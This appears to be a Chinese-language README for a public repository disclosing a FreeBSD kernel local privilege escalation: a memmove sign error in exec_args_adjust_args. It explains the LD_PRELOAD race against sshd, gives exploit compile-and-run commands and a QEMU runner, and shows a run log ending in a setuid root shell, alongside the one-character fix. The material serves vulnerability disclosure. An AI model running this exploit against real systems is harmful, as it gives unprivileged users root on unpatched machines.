https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD 本地权限提升:exec_args_adjust_args 越界 memmove
exec_args_adjust_args()(sys/kern/kern_exec.c,自 2013 年起存在)中的一个运算符优先级错误,可让任何本地用户在运行 sshd 的默认 FreeBSD 安装上提升至 root 权限。无需 suid 二进制文件、无需内核模块、无需修改配置。
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + 应为 - */
+ consume 应为 - consume。错误的符号导致 memmove 复制了 2 * consume 字节,而非正确的 endp - begin_argv - consume。在 shebang exec 中使用 265,185 字节的 argv[0] 时,memmove 会溢出 528,384 字节的 exec_map 条目,向相邻条目溢出 2,024 字节——不会崩溃、不会产生信号、不会触发页错误。
该利用程序将越界 memmove 与 sshd 在传入 TCP 连接上的 fork/execv 进行竞争。sshd-session 以 root 到 root 的方式执行,没有 suid/sgid 转换,因此 issetugid() 返回 0,运行时链接器会接受 LD_PRELOAD。利用程序在 sshd-session 的 exec_map 条目中植入 LD_PRELOAD=/tmp/evil.so;evil.so 的构造函数以 uid=0 运行,并在 /tmp/rootsh 放置一个 suid root shell。
在 4 核 VM 上,启动约 6 秒后,于第 5,030 轮获得 root 权限。
| 受影响版本 | FreeBSD 11.0 至 14.4(所有版本;截至披露时任何分支均无修复) |
| 前提条件 | 本地非特权 shell;sshd 运行中(FreeBSD 默认状态) |
| 可靠性 | 每轮命中率约 0.6%;在 4 核系统上数秒内获得 root |
| 已测试 | FreeBSD 14.4-RELEASE-p1 amd64,GENERIC 内核,4 核,2GB 内存 |
修改 sys/kern/kern_exec.c 中的一个字符:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
在 FreeBSD 14.4 目标上,以任意非特权用户身份:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... 数秒后 ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
在 QEMU 下(macOS 主机,需要 qemu 和 sshpass):
./run_poc.sh # 启动 VM,编译,运行利用程序
./run_poc.sh run # 对已运行的 VM 重新执行
./run_poc.sh clean # 移除 VM 工件
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
| 文件 | 描述 |
|---|
exec1_lpe21.c | 自包含利用程序——编译后以非特权用户运行 |
run_poc.sh | QEMU 自动化:启动 FreeBSD 14.4,编译并运行利用程序 |
WRITEUP.md | 完整技术文档:漏洞分析、利用架构、开发历史 |
blog.md | 发现与利用开发的叙述性记录 |
images/ | SVG 图表:exec_map 布局、自复制机制、完整攻击概览 |